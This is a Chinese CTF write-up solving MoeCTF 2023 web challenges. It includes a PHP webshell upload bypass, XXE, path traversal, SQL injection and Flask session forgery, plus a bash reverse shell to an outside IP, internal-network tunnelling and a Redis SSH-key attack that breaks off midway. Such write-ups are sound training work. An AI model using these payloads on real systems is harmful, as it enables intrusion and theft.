MoeCTF 2023

Web

入门指北

十六进制转字符串可以得到以下内容

flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=

再进行一次 base64 解码就可以得到 flag。

moectf{w3lCome_To_moeCTF_W2b_challengE!!}

http

Payload 如下

Param: UwU=u
Body: Luv=u
X-Forwarded-For: 127.0.0.1
Cookie: character=admin
User-Agent: MoeBrowser

moectf{basic_http_knowledge_Xcpf6zq45VutatFPmmelppGUvZpFN_yK}

注册 POST /register

{
    "username":"koito1",
    "password":"123456"
}

登录 POST /login

{
    "username":"koito1",
    "password":"123456"
}

获取flag GET /flag ,回显没管理员权限,Cookie 存在 Token,将 Token 通过 base64 解码可以得到以下内容

{"username": "koito1", "password": "123456", "role": "user"}

修改成以下内容

{"username": "koito1", "password": "123456", "role": "admin"}

并通过 base64 进行编码,并构造 Payload 如下

Cookie: character=admin; token=eyJ1c2VybmFtZSI6ICJrb2l0bzEiLCAicGFzc3dvcmQiOiAiMTIzNDU2IiwgInJvbGUiOiAiYWRtaW4ifQ==

即可获取 flag moectf{cooKi3_is_d3licious_MA9iVff90SSJ!!M6Mrfu9ifxi9i!JGofMJ36D9cPMxro}

彼岸的flag

打开源代码梭哈。

gas!gas!gas!

import requests
import time
session = requests.Session()

url = "http://localhost:60043/"

def car():
    data = {
        "driver": "1",
        "steering_control": "0",
        "throttle": "2"
    }
    for _ in range(0, 7):
        time.sleep(0.1)
        ret = session.post(url, data=data)
        print(data)
        #print(ret.text)
        if "弯道向右" in ret.text:
            data["steering_control"] = "-1"
            print("弯道向右")
        if "弯道直行" in ret.text:
            data["steering_control"] = "0"
            print("弯道直行")
        if "弯道向左" in ret.text:
            data["steering_control"] = "1"
            print("弯道向左")
        if "抓地力太大了!" in ret.text:
            data["throttle"] = "2"
            print("抓地力太大了!")
        if "保持这个速度" in ret.text:
            data["throttle"] = "1"
            print("保持这个速度")
        if "抓地力太小了!" in ret.text:
            data["throttle"] = "0"
            print("抓地力太小了!")
        if "失误了!别紧张,车手,重新来过吧" in ret.text:
            print("失误了!别紧张,车手,重新来过吧")
            return 0
        if "moectf{" in ret.text:
            print(ret.text)
            return 1


car()

moectf{Beautiful_Drifting!!_EUbAUerqztK_HgTz73ykI5tjKTs6ZkTb}

大海捞针

import requests
import time

url = "http://localhost:62225/"

def flag():
    for i in range(584, 1001):
        time.sleep(0.03)
        print("{0}..".format(i))
        ret = requests.get(url, params={
            "id": i
        })
        print(ret.text)
        if "moectf{" in ret.text:
            print(ret.text)
            return 1


flag()

flag 在 id 920 中,moectf{script_helps_W4ybDNdcii8fJu2uinmgRX6XNZ0PxVOF}

signin

0x02 收集信息

assert "admin" in users
assert users["admin"] == "admin"

得知 admin 密码为 admin

0x01 分析 eval

这串代码存在一个离谱的地方,就是这个 eval 函数,一步步来。

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?

int.to_bytes() 函数会将一个整数转化为其字节表示,其中一个十六进制数和一个大整数进行异或,将异或的结果转化为160字节长度的字节串,并且是 big endian 字节顺序,再通过 .decode() 将字节转换成字符串,通过 .translate({ord(c):None for c in "\x00"}) 移除了所有的 \x00 的字节最后传递给 eval() 函数进行执行。

print(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"}))
# [[0] for base64.b64encode in [base64.b64decode]]

也就是说,base64.b64encode 其实是 base64.b64decode ,因此下方的 decrypt() 函数其实是下面这样的。

def decrypt(data:str):
        for x in range(5):
            data = base64.b64decode(data).decode()
        return data

0x03 分析 gethash

def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]

程序会 hashed_users = dict((k,gethash(k,v)) for k,v in users.items()) 生成一个 dict 存放 username 和其根据 gethash() 函数所得到的值,但是当账号和密码相同时,gethash() 函数均返回 0 。以 {"admin": "admin"} 为例子,通过运行以上代码可以得到类似回显。

item:admin
c:102686882367982976480853838608729908860
item:admin
c:0

0x04 FLAG 获得方法

hashed = gethash(params.get("username"), params.get("password"))
for k, v in hashed_users.items():
    if hashed == v:
        data = {
            "user": k,
            "hash": hashed,
            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
        }
        self.send_response(200)
        self.end_headers()
        self.wfile.write(json.dumps(data).encode())
        print("success")
        return

要获得 FLAG 需要使得 hashed == v ,也就是说需要使得 hashed 的值为 0 ,因为 admin 的 hash 值为 0 ,但是还需要通过某个手段来绕过这段代码的限制。

if params.get("username") == params.get("password"):
    self.send_response(403)
    self.end_headers()
    self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
    print("same")
    return

通过构造

{"username":1,"password":"1"}

进行 5 次 base64 编码得到

VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJsVmFSRXB6WVd4SmQxZHFXbHBsYXpWeVdrY3hUMlJHVmxoaVJrSm9WbGQzTUZVeFl6QmtNVUpTVUZRd1BRPT0=

后构造 Payload 如下

{"params":"VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJGNlJsVmFSRXB6WVd4SmQxZHFXbHBsYXpWeVdrY3hUMlJHVmxoaVJrSm9WbGQzTUZVeFl6QmtNVUpTVUZRd1BRPT0="}

即可得到回显如下

{"user": "admin",
 "hash": "0",
 "flag": "moectf{C0nGUrAti0ns!_y0U_hAve_sUCCessFUlly_siGnin!_iYlJf!M3rux9G9Vf!Jox}"
}

moe图床

通过访问 ./upload.php 可以得到内容如下

<?php
$targetDir = 'uploads/';
$allowedExtensions = ['png'];


if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];
    $tmp_path = $_FILES['file']['tmp_name'];

    if ($file['type'] !== 'image/png') {
        die(json_encode(['success' => false, 'message' => '文件类型不符合要求']));
    }

    if (filesize($tmp_path) > 512 * 1024) {
        die(json_encode(['success' => false, 'message' => '文件太大']));
    }

    $fileName = $file['name'];
    $fileNameParts = explode('.', $fileName);

    if (count($fileNameParts) >= 2) {
        $secondSegment = $fileNameParts[1];
        if ($secondSegment !== 'png') {
            die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
        }
    } else {
        die(json_encode(['success' => false, 'message' => '文件后缀不符合要求']));
    }

    $uploadFilePath = dirname(__FILE__) . '/' . $targetDir . basename($file['name']);

    if (move_uploaded_file($tmp_path, $uploadFilePath)) {
        die(json_encode(['success' => true, 'file_path' => $uploadFilePath]));
    } else {
        die(json_encode(['success' => false, 'message' => '文件上传失败']));
    }
}
else{
    highlight_file(__FILE__);
}
?>

通过分析可以得知只对文件名的第二部分进行校对,因此可以通过修改文件名为 shell.png.php 进行绕过,构造 Payload 如下

<?php eval($_POST[1]); ?>

通过蚁剑一把梭可以得到 flag 如下

moectf{hmmm_improper_filter_UHTtyCKaTduCaSvieWWJwjduiQz-SEqV}

了解你的座驾

通过 Network 可以发现 POST 请求,发现 xml ,尝试 XXE ,构造 Payload如下

xml_content=%0d%3c!DOCTYPE%20shell%5b%0d%0a%3c!ENTITY%20en%20SYSTEM%20%22%2fflag%22%3e%0d%0a%5d%3e%0a%3cxml%3e%3cname%3e1%26en%3b2%3c%2fname%3e%3c%2fxml%3e

即可得到 flag 如下

moectf{Which_one_You've_Chosen?xK1hOAilRmh6oK1kQehxQefFcpFo29ME}

meo图床

通过上传图片后,可以得到以下 url

http://localhost:59661/images.php?name=64dba568f03b0_1.png

使用目录穿越查看根目录的 /flag ,url 如下

http://localhost:59661/images.php?name=../../../../../../flag

可以得到以下内容

hello~
Flag Not Here~
Find Somewhere Else~


<!--Fl3g_n0t_Here_dont_peek!!!!!.php-->

Not Here~~~~~~~~~~~~~ awa

通过访问 Fl3g_n0t_Here_dont_peek!!!!!.php 可以得到以下内容

<?php

highlight_file(__FILE__);

if (isset($_GET['param1']) && isset($_GET['param2'])) {
    $param1 = $_GET['param1'];
    $param2 = $_GET['param2'];

    if ($param1 !== $param2) {
        
        $md5Param1 = md5($param1);
        $md5Param2 = md5($param2);

        if ($md5Param1 == $md5Param2) {
            echo "O.O!! " . getenv("FLAG");
        } else {
            echo "O.o??";
        }
    } else {
        echo "o.O?";
    }
} else {
    echo "O.o?";
}

?> O.o?

分析得知是 md5 绕过,通过构造 Payload 如下

param1=s878926199a&param2=s155964671a

就可以到 flag 如下

moectf{oops_file_get_contents_controllable_lWpZo5UIiqnxK8URcmyyVmfrVt_M9EtF}

夺命十三枪

// index.php
<?php
highlight_file(__FILE__);
require_once('Hanxin.exe.php');
$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';
$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);
$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';
try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?>

// Hanxin.exe.php
<?php
if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    highlight_file(__FILE__);
}
class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",
        "di_er_qiang" => "Heartbreak",
        "di_san_qiang" => "Blind_Dragon",
        "di_si_qiang" => "Romantic_charm",
        "di_wu_qiang" => "Peerless",
        "di_liu_qiang" => "White_Dragon",
        "di_qi_qiang" => "Penetrating_Gaze",
        "di_ba_qiang" => "Kunpeng",
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );
    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}
class Omg_It_Is_So_Cool_Bring_Me_My_Flag{
    public $Chant = '';
    public $Spear_Owner = 'Nobody';
    function __construct($chant){
        $this->Chant = $chant;
        $this->Spear_Owner = 'Nobody';
    }
    function __toString(){
        if($this->Spear_Owner !== 'MaoLei'){
            return 'Far away from COOL...';
        }
        else{
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');
        }
    }
}
?>

0x00 POP 链

Omg_It_Is_So_Cool_Bring_Me_My_Flag::__construct()->Omg_It_Is_So_Cool_Bring_Me_My_Flag::__toString()
http://localhost:61356/?chant=di_jiu_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

出去旅游的心海

打开发现 /wordpress ,用 WPSCAN 扫发现没有什么可用的东西,扫不出漏洞插件,只能知道 WordPress 的版本,通过查看网页源代码可以发现一个 API 如下

wp-content/plugins/visitor-logging/logger.php

通过访问可以得到 logger.php 源码如下

<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
  Still in development! :)
*/

// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);

// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');

$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机

// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码

$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);

// 检查连接是否成功
if ($mysqli->connect_errno) {
    echo '数据库连接失败: ' . $mysqli->connect_error;
    exit();
}

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

// 执行插入
$result = mysqli_query($mysqli, $query);

// 检查插入是否成功
if ($result) {
    echo '数据插入成功';
} else {
    echo '数据插入失败: ' . mysqli_error($mysqli);
}

// 关闭数据库连接
mysqli_close($mysqli);

//gpt真好用

通过分析代码可知可以进行 SQL 报错注入,那就试试!

构造 Payload 如下

ip=1&user_agent=1&time='2023-08-28 16:15:40' or updatexml(1,concat(0x7e,database()),0)

可以得到数据库名 wordpress ,构造 Payload 如下

ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='wordpress')),0)

可以得到表名 secret_of_kokomi, visitor_record ,构造 Payload 如下

ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='wordpress' and table_name='secret_of_kokomi')),0)

可以得到字段名 content, id ,构造 Payload 如下

ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,(select group_concat(content) from secret_of_kokomi)),0)

可以得到 id 字段的全部内容 1,2,3 ,这时候就觉得怪了,这边 3 个,上面 content 字段就两个,不对哇,那就构造 Payload 如下看看

ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,(select group_concat(content) from secret_of_kokomi where id='3')),0)

可以得到回显如下

moectf{Dig_Thr0ugh_Eve2y_C0de_3

哦?这不是 flag 嘛,用 mid() 函数截取输出下,Payload 如下

ip=1&user_agent=1&time='' or updatexml(1,concat(0x7e,mid((select group_concat(content) from secret_of_kokomi where id='3'),20)),0)

可以得到回显如下

Eve2y_C0de_3nd_Poss1bIlIti3s!!}

拼起来就可以得到 flag 如下

moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}

moeworld

下载附件可以得到加密的压缩包 hint.zip 以及 题目描述一份。

本题你将扮演**红队**的身份,以该外网ip入手,并进行内网渗透,最终获取到完整的flag

题目环境:http://47.115.201.35:8000/

在本次公共环境中渗透测试中,希望你**不要做与获取flag无关的行为,不要删除或篡改flag,不要破坏题目环境,不要泄露题目环境!**

**注册时请不要使用你常用的密码,本环境密码在后台以明文形式存储**

hint.zip 密码请在拿到外网靶机后访问根目录下的**readme**,完成条件后获取

环境出现问题,请第一时间联系出题人**xlccccc**

对题目有疑问,也可随时询问出题人

0x00 信息收集

通过扫描靶机 IP 端口可以扫出以下内容

  • 80

  • 8000

  • 8080

  • 7777

  • 22

  • 8777

访问题目环境显示的是一个留言板,通过对 8000 端口进行目录扫描

$ dirsearch -u http://47.115.201.35:8000/
[12:45:54] 200 -    1KB - /change                                           
[12:45:57] 200 -    2KB - /console                                          
[12:46:04] 302 -  199B  - /index  ->  /login                                
[12:46:06] 200 -    1KB - /login                                            
[12:46:07] 200 -   74B  - /logout                                           
[12:46:15] 200 -  966B  - /register 

可以得到该站点存在以下路径可以访问

  • /change

  • /console - Werkzeug Debugger

  • /index

  • /login

  • /logout

  • /register

通过随便注册一个账号可以发现如下内容

admin
2023-08-01 19:22:07
记录一下搭建留言板的过程
首先确定好web框架,笔者选择使用简单的flask框架。
然后使用强且随机的字符串作为session的密钥。
app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
最后再写一下路由和数据库处理的函数就完成啦!!
身为web手的我为了保护好服务器,写代码的时候十分谨慎,一定不会让有心人有可乘之机!

在 Header - Cookie 可以看到以下内容

Cookie: session=eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6IjEyMzM0NSJ9.ZO8JIQ.2Fe5uGvbCEcDs3iqMVW0vYhB4hQ

访问 /console 可以发现是一个 Werkzeug Debugger 但是需要 PIN 才能解开,给了 app.secret_key 的 Hint 那就先试试伪造 Session 吧。

0x01 Flask Session 伪造

https://github.com/noraj/flask-session-cookie-manager

通过分析 secret_key 的生成方式可以得知只需要猜出 os.urandom(2).hex() 生成的随机值就行,这个随机值的范围是 0000-ffff (通过本地输出该函数发现是小写字母),通过结合 flask-session-cookie-manager3.py 编写一个脚本进行爆破。

通过上方的抓包获取到的 Session 用 flask-session-cookie-manager3.py 进行 decode 可以得到结构如下

{
    "power": "guest",
    "user": "123345"
}

也可以通过 https://www.kirsle.net/wizards/flask-session.cgi 在线 Decode。

使用脚本前需要修改脚本中 sessionuser 值,确保当前用户存在(

import os
import requests
import itertools
from itsdangerous import base64_decode
import ast
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key

class FSCM():
    @staticmethod
    def encode(secret_key, session_cookie_structure):
        try:
            app = MockApp(secret_key)
            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)
            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e

    @staticmethod
    def decode(session_cookie_value, secret_key=None):
        try:
            if secret_key is None:
                compressed = False
                payload = session_cookie_value
                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]
                data = payload.split(".")[0]
                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)
                return data
            else:
                app = MockApp(secret_key)
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)
            raise e

def test_key(randomHex):
    print(randomHex)
    session = FSCM.encode("This-random-secretKey-you-can't-get{0}".format(randomHex), '{"power": "guest","user": "fdasfdsa"}')
    headers = {"Cookie": f"session={session}"}
    data = {'message': 'test'}
    ret = requests.post('http://47.115.201.35:8000', headers=headers, data=data)
    print(ret.status_code)
    print(session)
    print('=========')
    if 'upload successfully' in ret.text:
        return (randomHex, session, ret.text)
    return None

hex_digits = '0123456789ABCDEF'
combinations = [''.join(comb).lower() for comb in itertools.product(hex_digits, repeat=4)]

for combination in combinations:
    result = test_key(combination)
    if result:
        print(result[0])
        print(result[1])
        print(result[2])
        break
        
"""
06f0
eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImZkYXNmZHNhIn0.ZO7ASA.7z7ikCoBWPTz0iyHgPENP_TTvQw
<script>alert("upload successfully");window.location.href="/index";</script>
"""

因此可以得到 os.urandom(2).hex() 生成的值为 06f0secret_key 的值也就是 This-random-secretKey-you-can't-get06f0

通过 flask-session-cookie-manager 进行 encode 就可以进行 Session 伪造成 admin 了,具体操作如下

$ python flask_session_cookie_manager3.py encode -t '{\"power\": \"admin\",\"user\": \"admin\"}' -s "This-random-secretKey-you-can't-get06f0" 
eyJwb3dlciI6ImFkbWluIiwidXNlciI6ImFkbWluIn0.ZO7MYg.HmVA8P4WT3h5qsDKMvAES1OwmJI

通过 BurpSuite 修改下 Cookie 中的 Session 就可以伪装成 admin 用户了,通过访问就可以得到以下内容。

可以得到 PIN 码是 904-474-531 ,那下一步就是去获取 Console

0x02 获取 Console

/console 页面输入 PIN 码后即可使用控制台,可以通过 Console 来反弹 Shell,可以选择在自己服务器上搭建一个 nps ,可以看看 官方文档 。安装完成后在 Linux 装上客户端,通过服务端的 客户端 - 新增 后生成的唯一验证密钥(Unique verify Key)进行连接,具体方法如下

$ ./npc -server=<nsp服务端 IP>:8024 -vkey=<Unique verify Key>

如果服务器带了防火墙的,务必记得去开放端口,为了安全推荐使用不常用端口并限制源。

连接后,先进行一个端口监听。

nc -lvvp 2333

然后在 Console 进行反弹 Shell,具体如下

print(os.system("bash -c 'bash -i >& /dev/tcp/20.2.216.21/2333 0>&1'"))

就可以获得留言板所在容器的 Shell 了,通过题目描述中的内容,获取 readme 的内容,

root@66ff0435ac92:/app# cat /readme
cat /readme
恭喜你通过外网渗透拿下了本台服务器的权限
接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan
你需要了解它的基本用法,然后扫描内网的ip段
如果你进行了正确的操作,会得到类似下面的结果
10.1.11.11:22 open
10.1.23.21:8080 open
10.1.23.23:9000 open
将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip压缩包的密码(本例中,密码为:22-8080-9000)
注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ,请忽略掉有关192.168.0.1的所有结果!此为出题人服务器上的其它正常服务
对密码有疑问随时咨询出题人

之后还可以获取 flag 的内容,

root@66ff0435ac92:/app# cat /flag
cat /flag
Oh! You discovered the secret of my blog.
But I divided the flag into three sections,hahaha.
This is the first part of the flag
moectf{Information-leakage-Is-dangerous!

下一步的操作就是扫内网 IP 段了。

0x03 获取压缩包密码

通过获取 hosts 内容可以得到以下内容

root@66ff0435ac92:/app# cat /etc/hosts
cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.20.0.4      66ff0435ac92
172.21.0.2      66ff0435ac92

可以得到存在另外两个 IP 172.20.0.4172.21.0.2

通过对这两个 IP 进行扫描可以得到以下内容

root@66ff0435ac92:/app# /app/tools/fscan -h 172.21.0.2/16
/app/tools/fscan -h 172.21.0.2/16
start infoscan
(icmp) Target 172.21.0.1      is alive
(icmp) Target 172.21.0.2      is alive
[*] LiveTop 172.21.0.0/16    段存活数量为: 2
[*] LiveTop 172.21.0.0/24    段存活数量为: 2
[*] Icmp alive hosts len is: 2
172.21.0.1:8000 open
172.21.0.1:888 open
172.21.0.1:8080 open
172.21.0.2:8080 open
172.21.0.1:3306 open
172.21.0.1:443 open
172.21.0.1:80 open
172.21.0.1:22 open
172.21.0.1:21 open
172.21.0.1:7777 open
172.21.0.1:10001 open
[*] alive ports len is: 11
start vulscan
[*] WebTitle: http://172.21.0.1:888     code:403 len:548    title:403 Forbidden
[*] WebTitle: http://172.21.0.1:8080    code:302 len:35     title:None 跳转url: http://172.21.0.1:8080/login/index
[*] WebTitle: http://172.21.0.1:8000    code:302 len:199    title:Redirecting... 跳转url: http://172.21.0.1:8000/login
[*] WebTitle: http://172.21.0.1         code:200 len:138    title:404 Not Found
[*] WebTitle: http://172.21.0.2:8080    code:302 len:199    title:Redirecting... 跳转url: http://172.21.0.2:8080/login
[*] WebTitle: http://172.21.0.1:7777    code:200 len:917    title:恭喜,站点创建成功!
[*] WebTitle: http://172.21.0.1:8000/login code:200 len:1145   title:LOGIN
[*] WebTitle: http://172.21.0.1:8080/login/index code:200 len:3617   title:None
[*] WebTitle: http://172.21.0.2:8080/login code:200 len:1145   title:LOGIN

root@66ff0435ac92:/app# /app/tools/fscan -h 172.20.0.4/16
/app/tools/fscan -h 172.20.0.4/16
start infoscan
(icmp) Target 172.20.0.1      is alive
(icmp) Target 172.20.0.2      is alive
(icmp) Target 172.20.0.3      is alive
(icmp) Target 172.20.0.4      is alive
[*] LiveTop 172.20.0.0/16    段存活数量为: 4
[*] LiveTop 172.20.0.0/24    段存活数量为: 4
[*] Icmp alive hosts len is: 4
172.20.0.1:80 open
172.20.0.2:22 open
172.20.0.1:22 open
172.20.0.1:21 open
172.20.0.1:443 open
172.20.0.4:8080 open
172.20.0.1:8080 open
172.20.0.2:6379 open
172.20.0.3:3306 open
172.20.0.1:3306 open
172.20.0.1:888 open
172.20.0.1:7777 open
172.20.0.1:10001 open
[*] alive ports len is: 13
start vulscan
[+] Redis:172.20.0.2:6379 unauthorized file:/data/dump.rdb
[+] Redis:172.20.0.2:6379 like can write /root/.ssh/
[*] WebTitle: http://172.20.0.1         code:200 len:138    title:404 Not Found
[*] WebTitle: http://172.20.0.1:8080    code:302 len:35     title:None 跳转url: http://172.20.0.1:8080/login/index
[*] WebTitle: http://172.20.0.1:888     code:403 len:548    title:403 Forbidden
[*] WebTitle: http://172.20.0.1:8080/login/index code:200 len:3617   title:None
[*] WebTitle: http://172.20.0.1:7777    code:200 len:917    title:恭喜,站点创建成功!
[*] WebTitle: http://172.20.0.4:8080    code:302 len:199    title:Redirecting... 跳转url: http://172.20.0.4:8080/login
[*] WebTitle: http://172.20.0.4:8080/login code:200 len:1145   title:LOGIN
已完成 12/13 [-] ssh 172.20.0.1:22 root root#123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain

按照题目描述的提示去掉 .1 结尾的 IP 可以得到压缩包的密码如下

8080
22-3306-6379-8080

通过尝试发现下面那个是 hint.zip 的密码,解压后打开(丢 Linux 里面打开)来可以得到 Hint 如下

当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps`和`frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3

0x04 获取 flag2

提示中已经讲明了在 /app/toolsnps ,那就继续用 nps 吧。这里的 nps 是客户端,我们需要在我们的服务端(在自己搭建的 nps 所在的服务器)的 客户端 中新增一个供靶机进行内网渗透用,在获取到的靶机 Shell 中进行连接

root@05551bd5dd95:/app/tools# ./npc -server=<nsp服务端 IP>:8024 -vkey=<Unique verify Key>
<npc -server=<nsp服务端 IP>:8024 -vkey=<Unique verify Key>

连接成功后在 客户端 找到靶机所连接的 客户端 ID ,点击隧道,新增 TCP 隧道,服务器端口根据自行进行调节,我的设置如下

  • ssh

    • 服务端端口 - 2222

    • 目标 (IP:端口) - 172.20.0.2:22

  • redis

    • 服务端端口 - 6379

    • 目标 (IP:端口) - 172.20.0.2:6379

  • mysql

    • 服务端端口 - 3309

    • 目标 (IP:端口) - 172.20.0.3:3306

设置完后,通过打印 /app 路径的文件及目录可以发现以下内容

root@05551bd5dd95:/app# ls
ls
__pycache__
app.py
dataSql.py
getPIN.py
static
tools

通过 cat 可以获取 dataSql.py 的内容如下

root@05551bd5dd95:/app# cat dataSql.py
cat dataSql.py
import pymysql
import time
import getPIN

pin = getPIN.get_pin()

class Database:
    def __init__(self, max_retries=3):
        self.max_retries = max_retries
        self.db = None

    def __enter__(self):
        self.db = self.connect_to_database()
        return self.db, self.db.cursor()

    def __exit__(self, exc_type, exc_val, exc_tb):
        if self.db and self.db.open:
            self.db.close()

    def connect_to_database(self):
        retries = 0
        while retries < self.max_retries:
            try:
                db = pymysql.connect(
                    host="mysql",  # 数据库地址
                    port=3306,  # 数据库端口
                    user="root",  # 数据库用户名
                    passwd="The_P0sswOrD_Y0u_Nev3r_Kn0w",  # 数据库密码
                    database="messageboard",  # 数据库名
                    charset='utf8'
                )
                return db
            except pymysql.Error as e:
                retries += 1
                print(f"Connection attempt {retries} failed. Retrying in 5 seconds...")
                time.sleep(5)
        raise Exception("Failed to connect to the database after maximum retries.")

def canLogin(username,password):
    with Database() as (db, cursor):
        sql = 'select password from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        if res:
            if res[0][0] == password:
                return True
        return False

def register(id,username,password,power):
    with Database() as (db, cursor):
        sql = 'select username from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        if res:
            return False
        else:
            sql = 'insert into users (id,username,password,power) values (%s,%s,%s,%s)'
            cursor.execute(sql, (id,username,password,power))
            db.commit()
            return True

def changePassword(username,oldPassword,newPassword):
    with Database() as (db, cursor):
        sql = 'select password from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        if res:
            if oldPassword == res[0][0]:
                sql = 'update users set password=%s where username=%s'
                cursor.execute(sql, (newPassword,username))
                db.commit()
                return True
            else:
                return "wrong password"
        else:
            return "username doesn't exist."

def uploadMessage(username,message,nowtime,private):
    with Database() as (db, cursor):
        sql = 'insert into message (username,data,time,private) values (%s,%s,%s,%s)'
        cursor.execute(sql, (username,message,nowtime,private))
        db.commit()
        return True

def showMessage():
    with Database() as (db, cursor):
        sql = 'select * from message'
        cursor.execute(sql)
        res = cursor.fetchall()
        res = [tuple([str(elem).replace('128-243-397', pin) for elem in i]) for i in res]
        return res

def usersName():
    with Database() as (db, cursor):
        sql = 'select * from users'
        cursor.execute(sql)
        res = cursor.fetchall()
        return len(res)

def getPower(username):
    with Database() as (db, cursor):
        sql = 'select power from users where username=%s'
        cursor.execute(sql, username)
        res = cursor.fetchall()
        return res[0][0]

def deleteMessage(username,pubTime):
    with Database() as (db, cursor):
        sql = 'delete from message where username=%s and time=%s'
        cursor.execute(sql,(username,pubTime))
        db.commit()
        return True

查看源码可以得到以下内容

  • 账号 - root

  • 密码 - The_P0sswOrD_Y0u_Nev3r_Kn0w

  • 数据库名 - messageboard

通过我们搭建的内网渗透访问 <nsp服务端 IP>:3309 用以上获得的账号密码登录就能进入 MySQL,可以发现 messageboard 库中存在表名 flagflag 表存在字段 flag ,内容如下

-Are-YOu-myS0L-MasT3r?-

0x05 获取 flag3

https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#redis-rce

由于上面已经完成了映射,通过访问 <nsp服务端 IP>:6379 即可。先通过 ssh-keygen 生成一个密钥作为 SSH 登录凭证,如下所示

$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/.ssh/id_rsa
